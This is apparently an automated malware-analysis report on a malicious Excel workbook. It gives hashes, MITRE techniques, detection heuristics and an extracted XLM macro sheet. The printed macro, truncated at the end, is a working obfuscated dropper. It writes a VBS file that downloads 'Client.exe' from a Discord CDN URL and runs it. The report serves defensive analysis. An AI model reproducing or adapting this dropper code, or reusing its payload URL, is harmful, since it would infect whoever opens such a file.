Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f00dd6d014ec32fd…

MALICIOUS

Office (OOXML)

10.7 KB Created: 2021-10-30 04:52:41 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-07
MD5: df51c1e903f3ea4db7e608049ef3d9f4 SHA-1: a696275c6d742c7d03d5b9eed8a2eda665d31bad SHA-256: f00dd6d014ec32fda84d683706a80495ecacf605e1e4d5cf0121aed08e10452e
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

This Excel file contains Excel 4.0 macros, including an Auto_Open defined name, which is a strong indicator of malicious intent. The macros utilize dangerous functions like FOPEN, FCLOSE, CALL, and HALT to download and execute a second-stage payload. Specifically, the macro attempts to write to a file named 'ec84kq.vbs' and then execute it using the CALL function, likely downloading the 'Client.exe' from the provided Discord CDN URL.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FOPEN, FCLOSE, CALL, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://cdn.discordapp.com/attachments/903868795557396493/903868893154668554/Client.exe In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 5237 bytes
SHA-256: f2c631990854473bf617204283488d03725de46a5db686eefe2b18d6bae5ede9
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{698E0821-1714-4232-AF6A-9048617C27FD}"><dimension ref="TL3000:TS3025"/><sheetViews><sheetView showFormulas="1" topLeftCell="AAA1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="702" width="0" hidden="1" customWidth="1"/></cols><sheetData><row r="3000" spans="532:532" x14ac:dyDescent="0.3"><c r="TL3000" t="b"><f bx="1">vgf="C"&amp;":"&amp;"\Use"&amp;"rs\Pub"&amp;"lic\"</f><v>0</v></c></row><row r="3001" spans="532:532" x14ac:dyDescent="0.3"><c r="TL3001" t="b"><f bx="1">fil=FOPEN(vgf&amp;"ec84kq.vbs",3)</f><v>0</v></c></row><row r="3002" spans="532:532" x14ac:dyDescent="0.3"><c r="TL3002" t="e"><f>FWRITELN(fil,"On Error Resume Next")</f><v>#NAME?</v></c></row><row r="3003" spans="532:532" x14ac:dyDescent="0.3"><c r="TL3003" t="e"><f>FWRITELN(fil,"yug5iz = ""Ado""")</f><v>#NAME?</v></c></row><row r="3004" spans="532:532" x14ac:dyDescent="0.3"><c r="TL3004" t="e"><f>FWRITELN(fil,"dli69s = ""db.Str""")</f><v>#NAME?</v></c></row><row r="3005" spans="532:532" x14ac:dyDescent="0.3"><c r="TL3005" t="e"><f>FWRITELN(fil,"hrhfck = ""Micros""")</f><v>#NAME?</v></c></row><row r="3006" spans="532:532" x14ac:dyDescent="0.3"><c r="TL3006" t="e"><f>FWRITELN(fil,"r1e6py = ""oft.XMLH""")</f><v>#NAME?</v></c></row><row r="3007" spans="532:532" x14ac:dyDescent="0.3"><c r="TL3007" t="e"><f>FWRITELN(fil,"cr39i8 = """&amp;TS3009&amp;"""")</f><v>#NAME?</v></c></row><row r="3008" spans="532:532" x14ac:dyDescent="0.3"><c r="TL3008" t="e"><f>FWRITELN(fil,"dim t2r1v6: Set t2r1v6 = createobject(hrhfck &amp; r1e6py &amp; ""TTP"")")</f><v>#NAME?</v></c></row><row r="3009" spans="532:539" x14ac:dyDescent="0.3"><c r="TL3009" t="e"><f>FWRITELN(fil,"dim qrg42m: Set qrg42m = createobject(yug5iz &amp; dli69s &amp; ""eam"")")</f><v>#NAME?</v></c><c r="TS3009" t="s"><v>0</v></c></row><row r="3010" spans="532:539" x14ac:dyDescent="0.3"><c r="TL3010" t="e"><f>FWRITELN(fil,"t2r1v6.Open ""GET"", cr39i8, False")</f><v>#NAME?</v></c></row><row r="3011" spans="532:539" x14ac:dyDescent="0.3"><c r="TL3011" t="e"><f>FWRITELN(fil,"t2r1v6.Send")</f><v>#NAME?</v></c></row><row r="3012" spans="532:539" x14ac:dyDescent="0.3"><c r="TL3012" t="e"><f>FWRITELN(fil,"with qrg42m")</f><v>#NAME?</v></c></row><row r="3013" spans="532:539" x14ac:dyDescent="0.3"><c r="TL3013" t="e"><f>FWRITELN(fil,"    .type = 1")</f><v>#NAME?</v></c></row><row r="3014" spans="532:539" x14ac:dyDescent="0.3"><c r="TL3014" t="e"><f>FWRITELN(fil,"    .open")</f><v>#NAME?</v></c></row><row r="3015" spans="532:539" x14ac:dyDescent="0.3"><c r="TL3015" t="e"><f>FWRITELN(fil,"    .write t2r1v6.responseBody")</f><v>#NAME?</v></c></row><row r="3016" spans="532:539" x14ac:dyDescent="0.3"><c r="TL3016" t="e"><f>FWRITELN(fil,"    .savetofi"&amp;"le """&amp;vgf&amp;"Try.exe"", 2")</f><v>#NAME?</v></c></row><row r="3017" spans="532:539" x14ac:dyDescent="0.3"><c r="TL3017" t="e"><f>FWRITELN(fil,"end with")</f><v>#NAME?</v></c></row><row r="3018" spans="532:539" x14ac:dyDescent="0.3"><c r="TL3018" t="e"><f>FWRITELN(fil,"shee = ""S"&amp;"he""")</f><v>#NAME?</v></c></row><row r="3019" spans="532:539" x14ac:dyDescent="0.3"><c r="TL3019" t="e"><f>FWRITELN(fil,"Creat"&amp;"eObj"&amp;"ect(shee &amp; ""ll.A"&amp;"ppl"&amp;"ication"").Op"&amp;"en("""&amp;vgf&amp;"Try.exe"")")</f><v>#NAME?</v></c
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.